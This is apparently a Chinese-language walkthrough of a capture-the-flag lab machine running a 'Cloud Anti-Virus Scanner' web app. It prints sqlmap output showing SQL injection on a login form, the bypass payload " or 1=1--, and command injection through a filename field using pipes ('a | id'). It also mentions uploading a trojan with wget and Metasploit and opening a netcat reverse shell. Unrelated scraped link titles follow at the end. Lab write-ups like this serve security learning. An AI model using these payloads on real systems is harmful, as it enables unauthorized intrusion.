┌──(kali?kali)-[~/workspace]└─$ sqlmap -r testsql.txt -f --level 4 --risk 3_____H_____ ___[']_____ ___ ___{1.6.10#stable}|_ -| . [(]| .'| . ||___|_[(]_|_|_|__,|_||_|V...|_|https://sqlmap.org[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program[*] starting @ 15:18:43 /2022-10-23/[15:18:43] [INFO] parsing HTTP request from 'testsql.txt'[15:18:43] [INFO] testing connection to the target URL[15:18:44] [INFO] testing if the target URL content is stable[15:18:44] [INFO] target URL content is stable[15:18:44] [INFO] testing if POST parameter 'password' is dynamic[15:18:44] [WARNING] POST parameter 'password' does not appear to be dynamic[15:18:44] [WARNING] heuristic (basic) test shows that POST parameter 'password' might not be injectable[15:18:45] [INFO] testing for SQL injection on POST parameter 'password'[15:18:45] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'[15:18:46] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause'got a refresh intent (redirect like response common to login pages) to '/scan'. Do you want to apply it from now on? [Y/n] Y[15:18:53] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (NOT)'[15:18:54] [INFO] POST parameter 'password' appears to be 'OR boolean-based blind - WHERE or HAVING clause (NOT)' injectable[15:18:55] [INFO] heuristic (extended) test shows that the back-end DBMS could be 'SQLite'it looks like the back-end DBMS is 'SQLite'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Yfor the remaining tests, do you want to include all tests for 'SQLite' extending provided level (4) value? [Y/n] Y[15:19:14] [INFO] testing 'Generic inline queries'[15:19:14] [INFO] testing 'SQLite inline queries'[15:19:14] [INFO] testing 'SQLite > 2.0 stacked queries (heavy query - comment)'[15:19:14] [INFO] testing 'SQLite > 2.0 stacked queries (heavy query)'[15:19:14] [INFO] testing 'SQLite > 2.0 AND time-based blind (heavy query)'[15:19:14] [INFO] testing 'SQLite > 2.0 OR time-based blind (heavy query)'[15:20:15] [INFO] POST parameter 'password' appears to be 'SQLite > 2.0 OR time-based blind (heavy query)' injectable[15:20:15] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'[15:20:15] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
- 从中可以看出存在注入点,并且 DBMS 可能是 SQLite
- 并且从
[15:18:54] [INFO] POST parameter 'password' appears to be 'OR boolean-based blind - WHERE or HAVING clause (NOT)' injectable
可以看出注入类型OR boolean-based
OR boolean-based
可以尝试比较通用的语句 " or 1=1--
做为页面 http://192.168.56.109:8080/
中表单的 password
值进行提交表单http://192.168.56.109:8080/scan
页面,通过简单的探索发现此页面是这个 Web 应用的后台管理页面,其中存在数据提交,但通过关键词 Try scanning some of these files with our scanner!
知道传入的数据是被某种程序进行查杀,更多的是涉及 shell 中执行<html><body><h1>Cloud Anti-Virus Scanner!</h1><h3>Try scanning some of these files with our scanner!</h3><pre>total 4756-rwxr-xr-x 1 scanner scanner 1113504 Oct 212018 bash-rwxr-xr-x 1 scanner scanner34888 Oct 212018 bzip2-rwxr-xr-x 1 scanner scanner35064 Oct 212018 cat-rw-rw-r-- 1 scanner scanner68 Oct 212018 eicar-rw-rw-r-- 1 scanner scanner5 Oct 212018 hello-rwxr-xr-x 1 scanner scanner35312 Oct 212018 netcat-rwxr-xr-x 1 scanner scanner 3633560 Oct 212018 python</pre><form action="/output" method="POST"><input type="filename" name="filename" placeholder="File Name"><input type="submit" value="https://www.huyubaike.com/biancheng/Scan!"></form></body></html>
我们可以尝试使用 |
管道进行命令串联,改变回返的数据内容,并夹杂我们想要的信息- 输入尝试
a | id
得到了下面结果 , 这说明其中的数据没有过滤,我们可以通过这个执行命令
uid=1001(scanner) gid=1001(scanner) groups=1001(scanner)
- 通过这个漏洞 , 我们可以构建一个
a | ls | grep 'xxxxx' | 想要执行的命令
- 我们可以查看是否存在
wget
有助于木马上传 , 配合 metasploit 攻击
- 也可以使用 nc 反弹 shell 依次执行下面命令 , 但上面的 nc 版本不利于反弹,也可以使用 nc 实现但比较麻烦
推荐阅读
- breakout靶机
- 靶机: medium_socnet
- 结合springboot实现,这里对接的是easy版本,工具用的是IDEA,WebStrom 支付宝沙箱服务
- easy的比较级和最高级 nice的比较级和最高级
- m4a是什么软件录音的
- neteasy netease是什么文件夹
- 一键分享SKETCH设计稿的EASY sketch ui设计
- 苹果手机变成耳机模式怎么调回来 方法so easy 苹果手机变成耳机模式怎么调回来
- 我们可以查看是否存在